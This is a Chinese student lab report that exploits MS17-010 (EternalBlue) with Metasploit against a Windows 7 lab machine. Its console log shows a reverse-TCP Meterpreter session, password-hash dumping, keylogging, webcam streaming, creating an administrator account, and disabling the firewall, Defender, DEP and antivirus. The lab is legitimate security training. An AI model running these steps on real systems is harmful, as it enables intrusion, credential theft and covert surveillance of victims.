一、实验项目名称
Windows网络服务渗透测试实战-Meterpreter后渗透
二、实验目的及要求
掌握对MS17-010漏洞攻击的方法。
熟悉Metasploit终端的使用方法。
熟悉通过meterpreter进行后渗透操作
三、复现步骤（附加文字说明加截图）
1、查看系统信息
2.屏幕快照
3.上传
4.下载
5.密码获取
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: client:1000:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
https://cmd5.com/
6、键盘监听
①在win7打开一个记事本文件
②ps看进程
③输入migrate -P 15140
④输入keyscan_start
⑤在win7中打开的那个text文件中输入任意内容
⑥在kali终端输入 keyscan_dump 即可获取键盘监听到的内容
⑦输入 keyscan_stop 停止
7、开启摄像头
webcam_stream
8、 创建用户
shell
net user lanxf lanxf /add
net localgroup administrators laxf /add
net user
9、开启远程桌面并登陆
关闭防火墙(管理员以及以上权限)
netsh advfirewall set allprofiles state off
关闭Denfender
net stop windefend
关闭DEP
bcdedit.exe /set {current} nx AlwaysOff
关闭杀毒软件 run killav run post/windows/manage/killava 开启远程桌面 run post/windows/manage/enable_rdp 关闭远程桌面 run multi_console_command -r home/kali/.msf4/loot/20220517054812_default_192.168.232.142_host.windows.cle_169175.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ msfconsole
######## #
################# #
###################### #
######################### #
############################
##############################
###############################
###############################
##############################
# ######## #
## ### #### ##
### ###
#### ###
#### ########## ####
####################### ####
#################### ####
################## ####
############ ##
######## ###
######### #####
############ ######
######## #########
##### ########
### #########
###### ############
#######################
# # ### # # ##
########################
## ## ## ##
https://metasploit.com
=[ metasploit v6.1.4-dev ]
+ -- --=[ 2162 exploits - 1147 auxiliary - 367 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with setg RHOSTS x.x.x.x
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.232.142
rhost => 192.168.232.142
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rport 445
rport => 445
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.232.142:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.232.142:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_et
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms17_010_eternalblue
[*] Using exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.232.141
lhost => 192.168.232.141
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444
lport => 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.232.142
rhost => 192.168.232.142
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rport 445
rport => 445
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.232.141:4444
[*] 192.168.232.142:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.232.142:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.232.142:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.232.142:445 - The target is vulnerable.
[*] 192.168.232.142:445 - Connecting to target for exploitation.
[+] 192.168.232.142:445 - Connection established for exploitation.
[+] 192.168.232.142:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.232.142:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.232.142:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.232.142:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.232.142:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.232.142:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.232.142:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.232.142:445 - Sending all but last fragment of exploit packet
[*] Sending stage (200262 bytes) to 192.168.232.142
[*] Meterpreter session 1 opened (192.168.232.141:4444 -> 192.168.232.142:54108) at 2022-05-17 06:17:36 -0400
[*] Sending stage (200262 bytes) to 192.168.232.142
[*] Meterpreter session 2 opened (192.168.232.141:4444 -> 192.168.232.142:54106) at 2022-05-17 06:17:44 -0400
meterpreter > sysinfo
Computer : CLIENT-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > screenshot
Screenshot saved to: /home/kali/Desktop/iAYXgyqc.jpeg
meterpreter > upload /home/kali/Desktop/lanxf.txt C:lanxfcome.txt
[*] uploading : /home/kali/Desktop/lanxf.txt -> C:lanxfcome.txt
[*] Uploaded 21.00 B of 21.00 B (100.0%): /home/kali/Desktop/lanxf.txt -> C:lanxfcome.txt
[*] uploaded : /home/kali/Desktop/lanxf.txt -> C:lanxfcome.txt
meterpreter > download c:lanxfcome.txt /home/kali/Desktop/
[*] Downloading: c:lanxfcome.txt -> /home/kali/Desktop/c:lanxfcome.txt
[*] Downloaded 21.00 B of 21.00 B (100.0%): c:lanxfcome.txt -> /home/kali/Desktop/c:lanxfcome.txt
[*] download : c:lanxfcome.txt -> /home/kali/Desktop/c:lanxfcome.txt
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
bean:1003:aad3b435b51404eeaad3b435b51404ee:e55c38b533b9385ac7aeb9b5371e22f9:::
client:1000:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter > migrate -P 12488
[*] Migrating from 14968 to 12488...
[*] Migration completed successfully.
eterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...
<^A><^H>ioiwpwowowowowowowowowowowowilove te<^H>ht <^H><^H>e word lalalhahahahah
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/kali/Desktop/jjQFlIqE.html
[*] Streaming...
^C[-] Error running command webcam_stream: Interrupt
meterpreter > shell
Process 3388 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:UsersclientDesktop>net user lanxf lanx /add
net user lanxf lanx /add
�ʻ��Ѿ����ڡ�
������ NET HELPMSG 2224 �Ի��ø����İ�����
C:UsersclientDesktop>net localgroup administrators lax /add
net localgroup administrators lax /add
û�д�ȫ���û�����: lax.
������ NET HELPMSG 3783 �Ի��ø����İ�����
C:UsersclientDesktop>net user
net user
\CLIENT-PC ���û��ʻ�
-------------------------------------------------------------------------------
Administrator bean client
Guest lanxf
�����ɹ����ɡ�
